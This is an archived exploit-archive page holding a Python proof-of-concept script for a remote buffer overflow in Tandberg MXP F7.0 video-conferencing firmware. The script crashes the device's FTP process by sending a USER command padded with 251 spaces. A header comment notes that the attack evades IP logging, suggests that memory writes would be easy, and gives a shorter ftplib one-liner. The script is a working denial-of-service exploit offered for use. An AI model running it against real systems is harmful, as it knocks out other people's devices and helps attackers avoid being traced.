the last unbiased stronghold

Tandberg MXP F7.0 Buffer Overflow

Tandberg MXP F7.0 Buffer Overflow
Posted Jul 13, 2009
Authored by otokoyama

Tandberg MXP F7.0 remote buffer overflow proof of concept exploit.

tags | exploit, remote, overflow, proof of concept
MD5 | b4d284f009c6011b047d69aa14c7aec2

Tandberg MXP F7.0 Buffer Overflow

Change Mirror Download
#########################################################################################
# #
# TANDBERG BoF v0.1 - Tandberg MXP F7.0< #
# Buffer Overflow Vulnerability PoC #
# By otokoyama #
# #
# [+] We crash the process FtpCt00 by sending a 251 char string of /x20 commonly #
# known as a blank space.(very simple) #
# [+] The BOF happens due to the system passing all usernames:passwords to a log file. #
# #
# [+] Vendor has fixed THIS in the later releases of its firmware so it is now public. #
# #
# #
# This is a good vuln due to the system not logging the IP address of the attacker. #
# To be able to tell who was causing this you would need to grab a log from the FW #
# and as TANDBERG does not provide timestamps on their endpoints pre f8.0 #
# you would need to have recieved a SNMP notification to TMS that the system rebooted #
# and cross reference that with the IP's connecting through the firewall. #
# This is particularily annoying due to the fact that systems reboot all the time #
# As endusers are constantly turning them on\off #
# At this point the sysadmin goes "TANDBERG Can we buy an Expressway?" #
# #
# As far as it goes, creating a connectback shell would be difficult #
# this is mainly due to the process on the Endpoint that detects a memory mismatch #
# and subsequently reboots the system(security measure). #
# #
# To create a successfull exploit outside of the DoS #
# you would need to locate the memory address of the process that reboots the system #
# (there might even be a fallback on that) This is generally too cumbersome as #
# this embeded system doesn't do anything fun anyway (why would you want access) #
# #
# In saying that, #
# it would be fairly trivial to use the BoF to write something to the memory. #
# you will notice buffer below only generates the exception 0x0200 aka Machine Check. #
# Increasing the char sent to the unit will change that error to exception 0x1100 #
# meaning we are sending the MINIMUM required length to overflow the buffer. #
# I have done the hardwork for you! Please email me if you get some encodes. #
# BTW, This could be done like this: #
# from ftplib import FTP #
# ftp = FTP('ip.addr') #
# ftp.login(' '*251) #
# ftp.quit()....but its dirty. #
# #
# shoutouts:mabus,gso #
#########################################################################################

import socket
import struct
import time
import sys


buff='USER '+' '*251+'\r\n'

if len(sys.argv)!=3:
print "\n[+] Usage: %s <ip> <port>"%sys.argv[0]
print "[-] Example: python poc.py 192.168.1.23 23\n"
sys.exit(0)

try:

print "[+] Connecting... %s" %sys.argv[1]
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((sys.argv[1],int(sys.argv[2])))
print "[+] Sending data..."
time.sleep(1.2)
s.send(buff)
print "[+] Deed Done"
s.recv(1024)

except:
print "[#] Unable to connect"

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close